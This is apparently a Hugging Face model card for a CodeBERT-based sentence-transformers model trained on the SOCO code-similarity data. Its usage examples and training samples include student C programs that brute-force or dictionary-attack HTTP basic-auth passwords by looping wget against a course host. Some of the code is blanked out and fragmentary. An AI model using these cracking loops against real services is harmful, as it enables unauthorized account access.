SentenceTransformer based on microsoft/codebert-base
This is a sentence-transformers model finetuned from microsoft/codebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: microsoft/codebert-base
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n',
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
# [0.9892, 1.0000, 0.9908],
# [0.9953, 0.9908, 1.0000]])
Training Details
Training Dataset
Unnamed Dataset
- Size: 3,081 training samples
- Columns:
sentence_0
,sentence_1
, andlabel
- Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label type string string int details - min: 194 tokens
- mean: 471.57 tokens
- max: 512 tokens
- min: 194 tokens
- mean: 458.65 tokens
- max: 512 tokens
- 0: ~99.20%
- 1: ~0.80%
- Samples:
sentence_0 sentence_1 label #include
#include
#include
#include
#include
#include
#include
int ()
{
int i,j,k,syst;
char password[4],first[100],last[100];
int count =0;
char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
strcpy(first, "wget --http-user= --http-passwd=");
strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
int Start_time,End_time,Total_time,average;
Start_time = time();
printf(" Time =%11dms\n", Start_time);
for (i=0;i<=52;i++)
{
for (j=0;j<=52;j++)
{
for(k=0;k<=52;k++)
{
password[0] = arr[i];
password[1] = arr[j];
password[2] = arr[k];
password[3] = '\0';
printf(" The Combination of the password tried %s \n" ,password);
printf("*...#include
#include
#include
#include
#include
#include
int ()
{
int i,j,k,sysoutput;
char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];
char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
strcpy(string1, "wget --http-user= --http-passwd=");
strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
for (i=0;i<=52;i++)
{
[0] = arr[i];
[1] ='\0';
strcpy(a,);
printf("The first value is %s \n", a);
for (j=0;j<=52;j++)
{ [0] = arr[j];
[1] = '\0';
strcpy(temp1,a);
strcat(a,);
strcpy(b,a);
strcpy(a,temp1);
printf("The second value is %s \n", b);
for(k=0;k<=52;k++)
{
[0] =arr[k];
[1] = '\0...1
#include
#include
#include
#include
#include
()
{
int i,m,k,count=0;
FILE* diction;
FILE* log;
char s[30];
char pic[30];
char add[1000];
char end[100];
time_t ,finish;
double ttime;
strcpy(add,"wget --http-user= --http-passwd=");
strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
diction=fopen("/usr/share/lib/dict/words","r");
=time(NULL);
while(fgets(s,100,diction)!=NULL)
{
printf("%s\n",s);
for(m=40,k=0;k<(strlen(s)-1);k++,m++)
{
add[m]=s[k];
}
add[m++]=' ';
for(i=0;i<50;i++,m++)
{
add[m]=end[i];
}
add[m]='\0';
system(add);
count++;
log=fopen("logd","r");
fgets(pic,100,log);
printf("%s",pic);
if(strcmp(pic,"Authorization failed.\n")!=0)
{
finish=time(NULL);
ttime=difftime(,finish);
printf( "\n The time_var take:%f/n The of passwords tried is %d\n",ttime,count);
break;
}
fclose(log);
}
}
#include
#include
#include
int ()
{
int i,j,k,cntr=0;
char pass[3];
char password[3];
char get[96];
char username[]="";
int R_VALUE;
double time_used;
clock_t ,end;
=clock();
for (i = 65; i <= 122; i++)
{
if(i==91) {i=97;}
for (j = 65; j <= 122; j++)
{
if(j==91) {j=97;}
for (k = 65; k <= 122; k++)
{
if(k==91) {k=97;}
pass[0] = i;
pass[1] = j;
pass[2] = k;
sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);
cntr++;
printf("%d )%s\n\n", cntr, password);
sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
R_VALUE=system(get);
if(R_VALUE==0)
{
printf("The Password has been cracked and it is : %s" , password);
...0
#include
#include
#include
int ()
{
char url[30];
int exitValue=-1;
FILE fr;
char s[300];
system("rm index.html");
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html one.html");
printf("System completed Writing\n");
system("sleep 3600");
system("wget http://www.cs.rmit.edu./students/ ");
exitValue=system("diff one.html index.html > .out" );
fr=fopen(".out","r");
strcpy(s,"mailx -s "Testing Again"");
strcat(s," < .out");
if(fgets(url,30,fr))
{
system(s);
system("rm one.html");
printf("\nCheck your mail") ;
fclose(fr);
}
else
{
printf(" changes detected");
system("rm one.html");
fc...#include
#include
#include
#include
#include
int ()
{
int m,n,o,i;
time_t u1,u2;
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
FILE *fin1;
char point[25];
fin1=fopen("./words.txt","r");
if(fin1==NULL)
{
printf(" open the file ");
exit(0);
}
strcpy(temp2," --http-user= --http-passwd=");
strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
strcpy(temp3,"");
(void) time(&u1);
while(!feof(fin1))
{
fgets(point,25,fin1);
if(strlen(point)<=4)
{
strcpy(temp3,temp1);
strcat(temp3,temp2);
strcat(temp3,point);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",point);
printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
} ...0
- Loss:
BatchAllTripletLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size
: 16per_device_eval_batch_size
: 16num_train_epochs
: 1fp16
: Truemulti_dataset_batch_sampler
: round_robin
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: noprediction_loss_only
: Trueper_device_train_batch_size
: 16per_device_eval_batch_size
: 16per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 5e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.0warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Truefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torchoptim_args
: Noneadafactor
: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: batch_samplermulti_dataset_batch_sampler
: round_robinrouter_mapping
: {}learning_rate_mapping
: {}
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 5.0.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.8.1
- Datasets: 3.6.0
- Tokenizers: 0.21.2
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
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Base model
microsoft/codebert-base